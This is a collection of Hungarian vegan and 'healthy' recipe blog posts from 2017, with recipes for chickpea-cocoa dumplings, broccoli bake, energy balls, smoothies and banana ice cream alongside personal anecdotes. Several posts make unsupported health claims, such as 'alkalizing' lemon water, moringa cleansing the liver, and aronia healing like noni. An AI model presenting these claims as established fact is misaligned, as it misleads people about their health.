Nutellával az egészségért? Naná! Nem kell lemondanod a sok finomságról. Sőt! Ez valami brutál finom lett. Igen tudom, ez nem nutella, de nagyon jó íze van, és százszor egészségesebb, mint a hagyományos nutella, ráadásul nyugodt szívvel falatozhatjuk, persze ezt is csak mértékkel. Hozzávalók - 500gr csicsóka - 1 tojás - 130gr zabliszt - 20gr útifűmag héj - 1 csipet só "nutellához" - 300gr csicseriborsó (konzerves) - 50ml kókusztej - 25gr kakaópor - 40gr édesítőszer Forgatáshoz kakaópor, de pirított zabkorpába, vagy akár darált mandulába is forgathatod Így készítsd - Főzd puhára a csicsókát, majd hámozd meg - Nyomd össze krumplinyomóval - Add hozzá a tojást, majd a többi hozzávalót is - A nutellához csak turmixold össze a hozzávalókat - A tésztából formázz korongot, töltsd meg nutellával, majd gyúrd gombóccá - Forró vízbe főzd meg kb 10 perc alatt, míg fel nem jön a víz tetejére - Forgasd kakaóporba
csokihab
2017. november 8. Beautilicious
Percek alatt finom fehérjedús és szénhidrátmentes nasi. Hozzávalók - 2tojás - 2ek kakaópor - 2ek édesítőszer - 50ml kókusztej Így készítsd - A tojásokat válaszd ketté - A sárgáját főzd meg a kakaóporral, tejjel és az édesítőszerrel - A fehérjét verd fel kemény habbá - Ha kihűlt a sárgája, keverd hozzá a habot, és készen is vagy
Csőben sült brokkoli
A brokkoli rosttartalma jótékony hatású székrekedéses panaszoknál, mivel serkenti a belek mozgását. Ásványi anyagai közül említésre méltó a kálium (300 mg fölött), a kalcium (87mg körül), a magnézium, nátrium, a vas, a cink és a foszfor. A nyers növényben B1-, B2-, B6-vitamin, C-vitamin, K-vitamin és E-vitamin is kimutatható, valamint az A-vitamin provitaminja, a béta-karotin. Igen gazdag folsavban is. (Forrás: Házipatika.com, Máriáss Márta)
A brokkoliban többféle glukozinolát található, ezek egyike a glukorafanin. Ennek hasítása során keletkezik a biológiailag aktív rafanin, illetve a hozzá hasonló szulforafán. A szulforafán a vírusok elleni küzdelemben is segítségünkre lehet. Egy 2016-ban közölt, kettős vak, placebokontrollált vizsgálatban nemdohányzó kísérleti alanyokat fertőztek meg élő, gyengített influenzavírusokkal. Ahogy az várható volt, az influenzavírusok már egy-két nap után összetett folyamatokat indítottak el a placebocsoportban, amelyre az immunrendszer gyengülése volt jellemző. Ezt a folyamatot azonban a brokkolikivonat sikeresen gátolta, vagyis javította a szervezet védekezőképességét. (Forrás: Webbeteg.hu, Dr. Reinhardt István)
A recept
Hozzávalók:
- 1 kg brokkoli
- 35 dkg rizs
- kurkuma
- só
- 5 dl növényi tej
- fokhagyma (opcionális)
- 2 ek zabliszt
- 2 ek sárgaborsó liszt
- kókusz zsír
- paprika
- vegán füstölt sajt
- ételízesítő
Elkészítés:
A brokkolit rózsáira szedjük, a lábos alján kevés sós vízzel, fedő alatt megpároljuk. Közben átmossuk a rizst és sós, kurkumás vízben megfőzzük. Ezt követően besamel-szerű mártást készítünk: E gy edényben 2 ek kókuszzsírt 2 dl növényi tejjel összemelegítjük. 3 dl hideg növényi tejjel csomómentesre keverjük a két lisztet és hozzákeverjük ahhoz a növényi tejhez, amivel a kókusz zsírt összemelegítettük. Kis lángon addig keverjük, amíg be nem sűrűsödik. Ételízesítőt szórunk bele. Ha sárgább színt szeretnénk, egy kis kurkumát is tehetünk bele, ha esetleg az ételízesítő nem színezné be eléggé. Ha fűszeresebb ízt szeretnénk, nyomhatunk bele 2-3 gerezd megpucolt fokhagymát vagy szórhatunk bele fokhagyma-granulátumot. Enyhén sajtos ízvilágot érhetünk el némi sörélesztő pehely hozzáadásával. A megpárolt brokkolira öntjük a szószt.
Egy tepsit kókusz zsírral kikenünk, majd elsimítjuk benne a megfőtt rizst. A tetejére rakjuk a brokkolit, majd szeletelt paprikákat és végül megszórjuk reszelt, vegán füstölt sajttal. Sütőben addig sütjük, míg aranybarna lesz a teteje.
Vegán bundáskenyér
Emlékszem, gyerekkoromban néha bundáskenyér és tea volt reggelire. Nagyon szerettem. Aztán ahogy nőttem, elfelejtődött a bundás kenyér. Néha néha ettem, majd vegánként teljesen eltűnt az életemből. Viszont nemrégiben felmerült bennem, hogy ha rántani (zöldséget) lehet tojás nélkül, akkor bizonyára bundáskenyér is készíthető tojás nélkül. Miért is cseréltem le a tojást a bundáskenyérben másra, hiszen a tojást annyian dicsérik, mint fehérjeforrást? Néhány mondatot idézek a Kína Tanulmány (Thomas M. Campbell - Dr. T. Colin Campbell) című könyvből:
"A vér koleszterinszintje egyértelműen a betegségek kockázatának fontos mutatója. A nagy kérdés, hogy a táplálkozás hogyan befolyásolja a vér koleszterinszintjét? Röviden elmondhatjuk, hogy a hús, tej, tojás, hal és állati fehérje bevitel növelésekor a vér koleszterinszintje emelkedik.
A növényi alapú ételek és tápanyagok (növényi fehérjék, étrendi rostok, cellulóz, hemicellulóz, oldható szénhidrátok, növényi B-vitaminok (karotinoidok, B2, B3), hüvelyesek, világos színű zöldségek, gyümölcsök, sárgarépa, burgonya, valamint a számos gabonaféle) mennyiségének növelésével a vér koleszterinszintje csökken.
Számos - mind kísérleti állatokon, mind embereken végzett - vizsgálat mutatta ki, hogy az állati eredetű fehérjék fogyasztása növeli a koleszterinszinteket. A telített zsírok és az étrendi koleszterin szintén emelik a szintet, bár ezek a tápanyagok korántsem annyira hatékonyak, mint az állati fehérjék. A növényi táplálékok ezzel szemben egyáltalán nem tartalmaznak koleszterint, ugyanakkor többféle mechanizmussal is segítenek a szervezet által termelt koleszterin mennyiségének csökkentésében. Mindezek a következetes eredmények a Kína Tanulmányból származnak. (...)
Szinte bármelyik orvosi rendelőbe elmehetünk és megkérdezhetjük, hogy milyen táplálkozási tényezők befolyásolják a vér koleszterinszintjét, az orvos valószínűleg azt fogja válaszolni, hogy a telített zsírok és az étrendi koleszterin. Manapság talán már előfordulhat, hogy lesz olyan, aki megemlíti a szója és a magas rosttartalmú korpafélék koleszterinszintet csökkentő hatását, arról azonban még mindig csupán igen kevesen tudnak, hogy az állati fehérjék hatást gyakorolnak a koleszterinszintekre."
A recept
Hozzávalók:
- Szeletelt szárazabb kenyér vagy zsömle
- 5 ek sárgaborsó vagy csicseriborsó liszt (lehet vegyesen is)
- 2 ek zabpehely liszt
- 1 nagyobb csipetnyi kurkuma
- 1 nagyobb csipetnyi fekete só (nevében fekete, színében rózsaszíntől sötét barnáig jellemző)
- ételízesítő
- cukormentes növényi tej (készíthetünk zabtejet vagy dobozos növényi tejjel is dolgozhatunk)
- pár csepp olíva olaj vagy kókuszzsír
Elkészítés:
A liszteket összekeverjük egy tálba, hozzáadjuk a kurkumát, a feketesót, egy kevés ételízesítőt és annyi tejjel csomómentesre keverjük, hogy palacsinta sűrűségű tésztát kapjunk. Tesztelhetjük a sűrűségét, ha egy kis kenyérhéjat vagy esetleg az egyik ujjunkat belemártjuk a tésztába, kiemelve egyenletesen beborított a kenyér vagy a kézujjunk felszíne. Belehelyezzük a kenyereket, kicsit megáztatjuk, megforgatjuk benne, majd forró teflon sütőben vagy papírral bélelt tepsiben felmelegített sütőben kisütjük.
Mennyiségtől függően duplázhatjuk az adagot. Sütés előtt akár fokhagymát vagy fokhagyma granulátumot is tehetünk bele.
Vegán életmód – Reggeli rutinom (anya változat)
2017. október 25. Zizi kalandjai
Arra a következtetésre jutottam, hogy egy ember reggeli rutinjának bemutatása igen népszerű a Youtuberek világában. Az az igazság, hogy én is szeretem nézni, hogy mások hogyan indítják a napjukat, miket esznek egy nap (vegán változat) és szeretek bekukkantani mások bevásárlókosarába is. A kosárban csücsülő áruk sok mindent elárulnak egy ember életmódjáról. Kíváncsi vagyok nektek milyen fura szokásaitok vannak… ha van kedvetek, írjátok meg kommentben.
Szóval egy anya reggele… régimódi változatban, szövegesen, képekkel illusztrálva blog bejegyzés formájában, nem pedig Youtube videó formájában (Youtube csatornám már van, de a videók még váratnak magukra )! Ez a bejegyzés az ideális reggelemet mutatja be, amikor mindenre van idő. Persze ilyen ritkán van, mert anya tervez, gyerek végez. A sorrendet igyekszem tartani, de néha az is felborul vagy valamelyik éppen kimarad.
A reggeli ébredésem általában szoptatással indul. Ákoska ébreszt. Miután kijutottunk a konyhába vizet melegítek és langyos citromos vizet készítek magamnak (néha I. is iszik, akkor neki is csinálok). Ez beindítja a vérkeringésemet, kiváló lúgosító hatású és még számos jótékony hatása van, amelyekről itt írtam korábban. Új szokásként nemrég kezdtem bele a szintén lúgosító hatású zöld víz ivásába. Egy pohár vízbe egy teáskanál árpafűport teszek, ezt jól elkeverem és két húzásra megiszom. Nincsen borzasztó íze (szerintem)… olyan édeskés “zöld” íze van, amit lehet turbózni egy kis frissen facsart citromlével. A port egyébként turmixokba is lehet tenni, akkor teljesen elveszik a “zöld” íze, ha ez valakit zavarna. (“Az árpafűpor egyébként gazdag rostokban és klorofillban. Többféle ásványi anyagot is tartalmaz, mint például a kálcium, króm, réz, vas, magnézium, mangán, foszfor, kálium, a szelén vagy a bór.”)
Miután megittam mindent, jöhet a reggeli (amit az esetek 98%-ban I. készít el ). Mostanában zabkását eszünk különböző feltétekkel: almával, szőlővel, magokkal, magvajakkal, kókuszreszelékkel felturbózva és jöhet mellé még egy szelet sütőtök is, ha van időm megenni. Közben persze történnek egyéb dolgok is: mosogatógép kipakolása, mosogatás, elpakolás, játék, beszélgetés, beágyazás, pelenka csere, öltözködés.
Reggeli után jöhet a magam rendbe tétele, legalábbis a fejemé. Arcot mosok, majd jöhet a hidratálás. Nemrégen elfogyott a Hauschka arckrémem és nem volt időm elmenni venni egy másikat. Ekkor kaptam az ötletet Reginától – a fantasztikus Perla megalkotójától, akivel már interjút is készítettem -, hogy használjak Perlát arcápolásra bio rózsavízzel hígítva. Két csepp olajat nyomok a kezembe, ehhez fújok három fújásnyi rózsavizet (amelyet a Mannától veszek), összedörzsölöm a két kezemmel ezt a mixet és bemasszírozom az arcomba, a nyakamra. Egyszerűen leírhatatlan frissítő, kényeztető érzés ezt átélni! És jó tudni, hogy a Perlában lévő ligetszépe olaj regenerálja és lassítja a bőröm öregedésének folyamatát, a pálmarózsa olaj fiatalítja bőrömet és összehúzza pórusaimat. A még benne található kizárólag hidegen préselt, finomítatlan, organikus olajok a legjobbat teszik a bőrünkkel. A szemem környékére pedig a Hauschka regeneráló szemkörnyékápolóját használom. (Fontos tudni: igyekszem a kozmetikumok terén is a 100% vegánságra, de még vannak olyan termékeim, amelyek csak vegetáriánusnak felelnek meg, így ez a regeneráló szemkörnyékápoló is. A Hauschka lakto-ovo vegetáriánus termékeinek listáját itt találjátok, itt pedig a vegán termékekét, a cég viszont állatkísérlet mentes.)
A fürdőszobában zajlik még egy fogmosás és egy fésülködés is – bár utóbbira nem mindig van időm reggel. Ilyen esetben délután, amikor megyünk a játszótérre, indulás előtt megfésülöm a hajam.
Ha pedig extra időm van még reggel, akkor beveszem a vitamin adagomat. Nem szedek mindennap vitamint, csak két-három naponta. Itt a tálkában éppen Pregnazon van (még intenzív szoptatás miatt), C- és D3 vitamin egyben és egy vegán probiotikum kapszula (ilyen fajta innen).
Hát így néz ki egy reggelem (a családdal a “háttérben”). Kíváncsi vagyok a tiétekre is! Nektek mindenre jut időtök (ha igen, mi a titkotok)? Mi az, amit nem hagytok ki sosem?
Fehérjében gazdag energia golyók (nyers, laktózmentes, gluténmentes, vegán)
2017. október 23. Zizi kalandjai
Készültünk a hétvégére a fiúkkal, hogy amíg nem ér ide az esős idő, addig kihasználjuk az alkalmat, hogy ha ilyen csodálatos környékre költöztünk, akkor túrázunk egy kicsit. Csak lazán, semmi kötöttséggel, ahogyan egy 1.5 és egy 4 éves tempójában haladni tudunk. Vasárnap délelőttre esett a választásunk, amikor már kicsit borús volt az idő, de még száraz és a közeli Jegenye-völgy kiváló kiránduló hely kicsiknek és nagyoknak egyaránt. Pakoltunk szendvicseket, gyümölcsöt, na és persze az elengedhetetlen energiagolyókat, amik energiát, jókedvet szolgáltatnak ilyen kirándulásokon. Persze ezeknek a dolya jojóknak – Ákos így hívja őket – elkészítésük is gyerekbarát, legalábbis nálunk Ádi és Áki nagyon szeretnek részt venni benne.
És mitől fehérjében gazdag a golyó? Mert van benne dió (15 g fehérje/100 g), kesudióvaj (18 g fehérje/100 g), napraforgómag (19.3 g fehérje/100 g), lenmag (18 g fehérje/100 g) és a Veganz rózsaszín fehérje (protein) pora (zöldborsófehérjével), ami 29 g fehérjét szolgáltat/100 g. A zöldborsófehérjén kívül tartalmaz céklaport (ettől szép rózsaszín), lucuma port, yacon gyökér port, darált goji bogyót, homoktövis port, aswaganda port, eper port és vaníliát. A gyümölcsöknek hála fantasztikus az illata és az íze is. A golyók készítése közben folyamatosan szagolgattuk a fiúkkal a tasakban lévő port.
Ha nincsen ilyen porotok, nélküle is elkészíthetitek, de tehettek bele más superfood port vagy akár kakaót is, amit találtok a kamrátokban.
Fehérjében gazdag energia golyók (nyers, laktózmentes, gluténmentes, vegán) Mentés Nyomtatás Előkészítési idő 10 perc Főzési idő 10 perc Teljes idő 20 perc Könnyen elkészíthető, nyers datolyagolyó falatok tízóraira vagy kiránduláshoz. Szerző: Zizi Recept típusa: snack, datolyagolyó, nyers Konyha: vegán, gluténmentes Adag/mennyiség: 20-25 darab Hozzávalók 235 g friss datolya, kimagozva 115 g dió 75 g napraforgómag 3 evőkanál kókuszreszelék 2 evőkanál víz 1 evőkanál lenmag 1 evőkanál kesudióvaj 3 teáskanál Veganz zöldborsófehérje por 2 teáskanál extra szűz kókuszzsír Elkészítés Tegyük robotgépbe a diót, a napraforgómagot, és daráljuk kis darabos állagúra. Ekkor adjuk hozzá a kimagozott datolyát és az összes többi alapanyagot. Addig dolgoztassuk a robotgépet, amíg a massza enyhén ragacsossá (kissé zsírossá a kókuszzsír miatt) válik (állítsuk le a gépet és ellenőrizzük az állagot). Formázzunk golyókat a masszából. Zárt dobozban, hűvös helyen, hőtőben 10-12 napig eláll (de addig úgysem fog tartani). Jegyzetek A kesudióvaj helyett mandulavajat vagy földimogyoróvajat is használhatunk. Ha nem tudtok beszerezni friss datolyát, jó a szárított is, csak jó minőségű legyen. A szárítottat érdemes 10-15 percre meleg vízbe áztatni használat előtt. Leszűrve, kimagozva tegyük a datolyát a robotgépbe. 3.5.3226
Áki zsurmikéz benyúl
Ádi zsurmikéz benyúl
Avokádókrémmel töltött kosárkák
2017. október 11. Éltető ételek
Az idei Országos Könyvtári Napok szlogenje "Csak tiszta forrásból" volt. Ennek keretében a tiszaújvárosi könyvtár sütiversenyt hirdetett, amely során csak természetes alapanyagokat lehetett felhasználni. Sok süti érkezett, de nyers desszertet csak én készítettem. A zsűri I. helyezéssel jutalmazta az édességemet, aminek nagyon örültem. :) Így hát jöjjön a recept, hogy ti is el tudjátok készíteni ezt a finomságot. Mivel igazán laktató, így 1-2 kosárka bőven elég egy délutáni nasira. Hozzávalók: (35 db kosárka) Tészta: - 25 dkg dió - 5 dkg kesudió - 25 dkg datolya - 5 dkg aszalt szilva - 1/2 mokkáskanál vaníliapor - 1/3 mokkáskanál ceyloni fahéj - 1/2 banán Csokikrém: - 2 érett avokádó - 2 érett banán - 2 evőkanál cukrozatlan kakaópor - 3-4 evőkanál kókuszvirágcukor - 1 mokkáskanál vaníliapor - 1 mokkáskanál szárított narancshéj vagy 3-4 csepp narancsolaj Nyers szilvalekvár - 10 dkg aszalt szilva - 1 dl víz - 1/3 mokkáskanál ceyloni fahéj - 3 csepp citromolaj Elkészítése: A tésztához a datolyát vágd fel kis darabokra. Az összes hozzávalóval együtt késes darálóval aprítsd morzsásra. Szilikonos mini muffinformákba nyomkodj bele 1 kis gombócnyit úgy, hogy a közepe üreges legyen. Fordítsd ki a formából, majd a kosárkát kókuszreszelékbe mártsd bele. Aszalóban (radiátoron, kandallón, napon) szárítsd ki annyira, hogy megtartsa formáját. Én kb. 4 órát aszalóban szárítottam 45-50 fokon. A krémhez mindent botmixerezz össze. A lekvárhoz a szilvát vágd fel kis darabokra, majd öntsd rá a vizet. Hagyd állni néhány órát. A fűszerekkel botmixerezd krémesre. Összeállítása: Minden kosárkába tegyél 1/2 mokkáskanálnyi lekvárt, majd nyomózsákkal csokikrémet. Díszítheted friss gyümölccsel, pl. málna, eper, kókuszreszelékkel vagy pirított mandulával. (Én kókuszcukros manduladarabkákat szórtam a tetejére.
Áfonya-fekete berkenye smoothie (laktózmentes, gluténmentes, vegán)
2017. október 2. Zizi kalandjai
Még nem meséltem nektek, de végre vidékre költöztünk a fővárosból. Na nem mentünk messzire, nagyon közel vagyunk Budapesthez, de mégis zöld övezetben, erdőkkel, dombokkal körülvéve. Van kertünk, ahol láttunk már mókust ugrálni a diófánkon, meg kétszer láttam két különböző napon, de ugyanabban az időben mezei egeret elillanni a szomszéd telekre – de bízom benne, hogy a szomszédoktól néha-néha a kertünkbe kóboroló macskák biztosítanak az egerek elriasztásától! Vannak tücskök, bogarak – nyilván sokkal többféle, mint amennyivel a 13. kerületben találkoztunk, meg vannak napon sütkérező, villámgyorsan elillanó gyíkok, tiszta, felsepert utcák, rengeteg diófa, vadgesztenyefa mindenfelé, végtelen csend, jó levegő és kedvesen ismerkedő, bőbeszédű nénik, bácsik (akiktől minden fontos információt megtudunk a nagyközségről). Gyalog távolságra van a waldorf óvoda, ami az álmunk volt, mert én és I. is úgy nőttünk fel (nagyobb vidéki városokban), hogy gyalog tudtunk menni az óvodába és az általános iskolába is. Mi is ezt szerettük volna, hogy ne kelljen zsúfolt tömegközlekedésen vagy autóban, dugóban ülve óvodába hordanunk a gyerekeinket.
Még a berendezkedés fázisában vagyunk egy belülről felújított házban, szóval új konyhánk van (amelyen még egy kicsit dolgoznunk kell, hogy legyen belőle álomkonyha blogbejegyzés, amit már többen kértetek ), meg új fürdőszoba, wc, aludni tudunk min, de a bútorok egy része, a hangulat megteremtése (amit szeretnénk elérni) még hiányzik. Lassan dolgozunk rajta, de idő lesz mire mindennel megleszünk. A lényeg, hogy imádjuk ezt a helyet, a vidéki hangulatot, a nyugit, de az is szuper, hogy Budapest közel van, így bármikor könnyen a fővárosban tudunk lenni.
De térjünk át erre a csoda sötét pink vagy lila smoothie-ra, ami a színét az áfonyától és a fekete berkenye portól kapja. De mi is az a feketeberkenye? Addig én sem tudtam, amíg ezzel a por formájú változattal nem találkoztam, így gondoltam, hogy utána nézek.
Csodás színű fekete berkenye por
A fekete berkenyének igen magas a gyümölcscukor-, pektin-és csersavtartalma. Ez utóbbi miatt, ha lét készítenek belőle – a teljesebb lényerés érdekében-, először fagyasztják, majd édesítik, valamint a kellemes ízhatás érdekében citromsavat is adnak hozzá. Kapható olyan készítmény, amely a fekete berkenyét természetes őrlemény formájában, esetleg más gyümölcsökkel együtt tartalmazza. Por formában többek között a Veganz német cég állítja elő Európában, amelyet itthon a Spar üzleteiben lehet most már megvenni.
“A bogyókat egyébként sokféle módon használják fel, nem csak a kb. 80%-os létartalmát, hanem a főként a héjában lévő növényi színezőanyagot is élelmiszerek színezésére. Nagyon magas a C-vitamin tartalma, ezenkívül rendkívül hatékony gyulladáscsökkentő, illetve -megelőző hatása. Gyógyító értéke magas P-vitamin-(flavonoid), vízben oldódó B1-, B2-,B6-, B9-, B12-, C- és H-vitamin tartalmának, zsírban oldódó A-, E-és K-vitamin tartalmának és összességében kiemelkedően magas, a sejteket a pusztulástól védő szabadgyök-fogó kapacitásának köszönheti. A kutatók egyöntetű véleménye szerint összességében legalább olyan betegség-megelőző és gyógyító erővel rendelkezik, mint a tahiti csodanövény, a noni gyümölcse.” (Forrás: innen).
Ehhez a smoothie-hoz a fekete berkenyét egy másik bogyós gyümölccsel, az áfonyával párosítottam. Csodálatos lett a színe és az íze is. A fekete berkenye por ugyanolyan minőséget képvisel, mint a mostanában nagyon felkapott acai por! Tehetjük kásákba, nyers süteményekbe, turmixokba.
Áfonya-fekete berkenye smoothie (laktózmentes, gluténmentes, vegán) Mentés Nyomtatás Előkészítési idő 2 perc Főzési idő 5 perc Teljes idő 7 perc Csodás lila színű, vitaminokban gazdag turmix reggelire vagy uzsonnára. Szerző: Zizi Recept típusa: turmix, reggeli, ital Konyha: vegán, gluténmentes Adag/mennyiség: 2 főre Hozzávalók 2 db érett banán, meghámozva 1 és ½ bögre fagyasztott áfonya 160-180 ml kókuszos rizstej 6 evőkanál natúr kókuszjoghurt 2 evőkanál quinoa pehely 2 evőkanál fekete berkenye por 2 evőkanál kendermag por (opcionális) hántolt kendermag/tökmag/napraforgómag/kókuszchips, tálaláshoz Elkészítés A hozzávalókat tegyük turmixgépbe, és turmixoljuk 5 percig. Először csak 160 ml rizstejet adjunk hozzá, fokozatosan hígítsuk többel, ha hígabbra szeretnénk az italunkat. Jegyzetek A quinoapehely helyett tehetünk bele zabpelyhet, de ekkor nem lesz gluténmentes az italunk (kivéve, ha gluténmentes zabpelyhet használunk). A rizstej helyett használhatunk bármilyen más gluténmentes növényi tejet (kókusz-, vagy mandulatejet), illetve lehet zabtejjel is készíteni (szintén figyelni kell a gluténmentességre, akinél ez fontos). Ha a banánt is fagyasztva rakjuk bele, akkor egy sűrű, krémes, desszert szerű reggeli kását kapunk. Tálalhatjuk granolával is. 3.5.3226
*****
A fekete berkenye port, a kókuszos rizstejet a {Spar Magyarország} biztosította a recepthez. A véleményem csakis a sajátom.
Kókusztálka a Coconut Bowls-tól.
céklapüré
2017. október 1. Beautilicious
A hétvégén sem maradhat el a cékla. Minden formában imádom. Most egy püré készült belőle amit egy kis köménnyel társítottam és az íze...huuu. Hozzávalók - 1 cékla - fél fej vöröshagyma - 1ek tejföl - só - őrölt kömény Így készítsd - Tedd fel főni a meghámozott felkockázott céklát - A hagymát pirítsd meg egy kis kókuszzsíron - Ha megfőtt a cékla, adjuk hozzá a hagymát, a tejfölt, só és a köményt, majd pürésítsük (én aprító gépbe tettem)
Krémes zöld banánfagylalt (laktózmentes, gluténmentes, cukormentes, vegán)
2017. szeptember 22. Zizi kalandjai
Igen, tudom, már javában ősz van és most naptár szerűen szeptember 2-án már beköszöntött a hűvösebb, esős idő. Én azonban várom még a vénasszonyok nyarát, mert a kertünkben bőven akad tennivaló és az ilyen munkákat jobban szeretem száraz időben csinálni.
Szóval hideg idő ide vagy oda, én bizony egy házi fagylalt receptet hozok most nektek. Az egyszerű egy hozzávalós banánfagylalt – angolul “nicecream” – titkát szerintem sokan ismeritek már, de aki még nem, annak röviden a lényeg: jó érett banánokat, meghámozva, kisebb darabokra törve a fagyasztóba teszünk egy tasakban. Ha jól megfagytak, bedobjuk a szuper turmixgépünkbe vagy aprítógépünkbe és addig dolgoztatjuk a gépet (6-8 perc), amíg a banánok krémes állagúra állnak össze. Ezt aztán bármivel ízesíthetjük, mehetnek bele fűszerek – vanília, fahéj -, más gyümölcsök, pirított vagy nyers magok, diófélék, kókuszreszelék, kakaópor, stb.
Mi most superfood-osra vettük a figurát és az ajándékba kapott moringa porból tettünk bele egy keveset. “Ez a superfood Ázsiából hódította meg a világot, ott a növény minden részét felhasználják, a gyökerétől a levelekig. Európában a növény zöld leveleiből készült őrleményt fogyasztjuk. Antioxidánsokban gazdag, sejt- és szövetvédő hatású.” (Forrás: innen). Nagyon magas a moringa fehérje tartalma. A moringa lassíthatja az öregedési folyamatokat, tisztítja a májat, szabályozza a vércukor szintet, javítja az agyfunkciókat, vérszegénység és ízületi problémák esetén is használják. Tehetjük zöld turmixokba, ihatjuk teaként, de mivel enyhe hashajtó hatása van, kezdetben csak napi 1/2-1 teáskanállal javasolt szedni – ha rendszeresen fogyasztjuk -, majd fokozatosan növelhetjük a mennyiséget, ha nem okozott gondot a kisebb mennyiség. Mi nagyon ritkán fogyasztjuk, meg ebbe a fagylaltba 2 teáskanálnyit tettünk, amit hárman ettünk meg.
Színezhetjük a fagylaltunkat acai porral lilára, céklaporral rózsaszínre, árpafűporral szintén zöldre, de tényleg ízlésünknek megfelelően bármivel ízesíthetjük ezt a nyers, vegán, feldolgozott cukortól mentes egészséges fagylaltot, ami egyébként a reggelink is lehet.
Krémes zöld banánfagylalt (laktózmentes, gluténmentes, cukormentes, vegán) Mentés Nyomtatás Előkészítési idő 3 óra Főzési idő 8 perc Teljes idő 3 óra 8 perc A világ legegyszerűbb és legegészségesebb cukormentes, vegán fagylaltja. Szerző: Zizi Recept típusa: fagylalt, reggeli, desszert Konyha: vegán, gluténmentes Adag/mennyiség: 2-3 főre Hozzávalók 3 db érett banán, meghámozva 2 teáskanál moringa por egy csipet őrölt vanília goji bogyó, kókuszchips, tálaláshoz Elkészítés A banánokat törjük kisebb darabokra. Tegyük egy tasakba a darabokat, majd mehet a mélyhűtőbe 2-3 órára. A megfagyott banán darabokat tegyük a robotgépbe/aprítógépbe a moringa porral, a vaníliával és kapcsoljuk be. Először hangos lesz, meg mozogni fog a robotgép (valahogy kezelni kell a fagyott darabkákat), de 2-3 perc múlva fagyottá áll össze az egész. Ha még 3-4 percig dolgoztatjuk a robotgépet az egész krémes lesz. Tálaljuk kis tálkákba szedve, tegyünk rá goji bogyót és kókuszchipset. Jegyzetek Granolával (ropogós müzlivel) megszórva teljesértékű reggeli lehet. 3.5.3226
Túros csokis csoda
2017. augusztus 29. Beautilicious
Nincs is jobb párosítás a túrónál és csokinál. Mindkét ízvilág nagyon finom, de a kettő együtt tarol. És ha mindez cukkíniből készül cukor és fehérliszt nélkül, neked is a kedvenc sütid lesz. HOZZÁVALÓK - 1 nagy cukkíni - 250gr krémes joghurt - 130gr zabliszt - 80gr kókuszliszt - 90gr édesítő - 30gr kakaópor - 2 tojás - szódabikarbóna - fél citrom leve - 500gr túró - 100gr tejföl - vanília aroma - reszelt citrom héja - ízlés szerint édesítő ÍGY KÉSZÍTSD - A cukkínit tisztítsd meg, majd reszeld - Keverd össze a liszteket, kakaót, az édesítőt, és a szódabikarbónát - A joghurtot keverd össze a tojásokkal és citromlével, majd nyomkodd ki a cukkínit és öntsd bele - Keverd össze a nedves és száraz hozzávalókat - Öntsd a tésztát sütőpapírral bélelt tepsibe, és süsd 180 fokon 1órát - A krémhez a túrót keverd össze a tejföllel, vaníliával, citromhéjjal és ízlés szerint édesítővel
Kókuszos köles sütemény almakrémmel
2017. augusztus 27. Vegavarázs
Hozzávalók (egy kisméretű tepsihez): 15 dkg kölesliszt 5 dkg kókuszliszt 2 ek keményítő 1 ek Dia-Wellness 1:4 cukor 2 ek olaj 1 dl kókusztejszín egy csipet só 1 kk sütőpor 1 kk szódabikarbóna víz A krémhez: 2 dkg vaj (elhagyható) 3 db alma 2 ek kókusztejszín 2 kk Dia-Wellness 1:4 cukor A...
Kókuszos rozsos keksz - vegán
Egy régen megírt poszt, amit elfelejtettem anno közzétenni. Kb. egy éves lehet. Arra emlékszem, hogy elég törékeny volt a tészta, és könnyen megégett, ha nem vigyáztam. Rongybaba konyhájából láttam először rozsból készült kekszet. Nagyon furcsálltam, de aztán később, mikor igyekeztem egyre többféle gabonát bevezetni az étrendünkbe, kipróbáltam pl. gofriba, és ízletesnek találtam. Valamikor készítettem már kekszet is, de arra sem emlékszem, hogy posztoltam volna. Ábel nagyon szívesen eszeget kekszeket, és a készítésében is bőszen segédkezik, így esőnapokon néha ezzel bővítjük a napi programot, ha Flóra is hagyja. A kisasszony aznap, mire meggyúrtam a tésztát, és kinyújtottam, azt mondta, elég volt ennyi a sütkérezésből. Kénytelen kelletlen otthagytam az egészet, először sétáltunk a kertben, de nem volt elég, így megszoptattam. Közben Ábel is beballagott a kertből, és mivel nem szaggattam ki az egész tésztát, megtette ő helyettem... Újra is kellett gyúrni később, de legalább nyugi volt, míg etettem a kisebbet. Nem tudom, ki hogyan oldotta ezt a kérdést meg, de mindig rizikós, hogy épp mire fejezzük be a dolgot. Épp ezért jó néhányszor az ajtónak támaszkodva szopizott a kicsi. Általában semmi nagyobb probléma, de mégis... Sokszor a kertben akar lenni, és mire kimegyek, levetkőzött félig, mert neki pisilnie kell, vagy folyatja a vizet a csapból. Volt olyan is, hogy megijedt, és torka szakadtából üvöltött, mert megmozdult a bambuszok között a feketerigó család. A szomszédok meg gondolhatják, hogy milyen anya az ilyen... de hogy lehet ezt megoldani egy sajtkukacnál? Olyankor nem akar mesét hallgatni tőlem - nézni nézne, de azért annyit meg csak ne butuljon. Szóval nem egyszerű... de más is túlélte valahogy. Majdcsak mi is. Csak hogy változatos legyen a gabonahasználatunk, és a rozs illik az ilyen jellegű kekszekhez. Hozzávalók: 40 dkg tk rozsliszt 10 dkg zabliszt 25 dkg kókuszzsír 10 dkg kókuszreszelék 15 dkg gyümölcscukor / vagy stevia 1 dl növényi tej (most mogyoró volt) 1 cs borkősütőpor vanília kikapart belseje 1 csipet só A száraz anyagokat összekeverjük, majd belemorzsoljuk a zsiradékot. Azután annyi tejet adunk hozzá, amivel puha tésztát kapunk. Ha steviát használunk, csöpögtessük a tejbe. Kisujjnyi vastagra nyújtjuk, és kiszaggatjuk őket. Zsírpapírral kibélelt tepsibe helyezzük, és fél óráig közepes lángon sütjük.
Chole masala
2017. augusztus 19. Vegán muflon
Azt mondom, használjuk ki az utolsó napot, amikor még csatakos vízibivalyra izzadhatjuk magunkat a sparhelt mellett! És szigorúan olyan dolgot főzzünk, melyből valami pusztítóan, mocskosul csípős dolgot lehet kihozni, hogy egy nagy kiterjedésű Afrika-térkép rajzolódjon ki felsőruházatunk hátulján! Erre pedig egy indiai csicseriborsó-curry tökéletesen alkalmas. És tekintettel arra, hogy a hőségtől máris előjött belőlem az antiszociális, bőrizomtömlős bödönparaszt, a receptet rendhagyó módon fogom közölni, hogy bosszantsam az olvasókat.
:kólavázzoH
